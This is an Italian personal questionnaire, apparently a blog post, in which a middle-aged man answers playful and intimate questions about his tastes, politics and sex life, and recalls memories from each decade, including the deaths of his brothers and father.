Qualche aggettivo per descriverti?
- 181 cm,brizzolato,piede 43......in questo modo sono certo di non dire cazzate pseudocerebrali.

Sai essere competitivo?
- Si...se posso.

La tua trasmissione televisiva preferita?
- Serie TV, non tutte le serie, ovviamente.

Centrodestra o centrosinistra?
- Centrosinistra, quando ho voglia di votare...turandomi il naso...come ormai da tempo.

Maradona o Platinì?
- Van Basten.

Seno naturale o rifatto?
- Naturale...certo, se non è alle ginocchia sarebbe meglio...ma naturale indubbiamente.

Hai mai visto un film pornografico?
- Da adulto, mai sino alla fine.
Da ragazzi,al cinema, si arrivava alla fine, ma con un pò di lamentele ai paesi bassi...

Meglio i Beatles oppure i Rolling Stones?
- Eagles.

Il sesso...dove è meglio farlo?
- Dove si riesce.

Ti vedi bello?
- Non mi vedo...sono miope, presbite e lievemente astigmatico...

Più giovane o più vecchio?
- Nel mezzo del cammin...insomma, anche a tre quarti ormai.

Qualcosa di cui ti vergogni?
- Cos'è una terapia di gruppo?

E di cui vai fiero?
- Nonostante il necessario rapporto conflittuale...mio figlio.

Qualche persona che stimi
- Mi sforzo di partire da me...poi altre, in ordine sparso.

La tua macchina?
- Un sedile che mi porta il culo da una parte all'altra.

Cosa avresti voluto saper fare?
- Tra le tante...cantare.

Uno o due ricordi dei primi dieci anni?
- Immensamente,l e notti della vigilia natale.
Quando col mio fratellino...ci si svegliava nel cuore della notte per vedere se era già passato Gesù Bambino, Babbo natale...insomma bastava che passasse qualcuno a lasciare qualcosa di gradito.
E la meraviglia quando i doni erano già sotto l'albero....

Dei secondi?
- Versione romantica...il primo bacio.
Versione erotica...la prima...insomma quella. Questo, in positivo...
...e in negativo...la morte del mio fratellino di cui sopra.

Dei terzi?
- Il matrimonio, ma non la cerimonia o il ricevimento...
Piuttosto,la sensazione del giorno dopo...

Dei quarti?
- La nascita di mio figlio...e per antitesi...la scomparsa di mio Padre.

Dei quinti?
-...un altra immensa e dolorosissima perdita...il Fratellone.

Ricordo importante del Sesto decennio?
Nè parlerò se arriverò a terminarli...e se nè avrò voglia.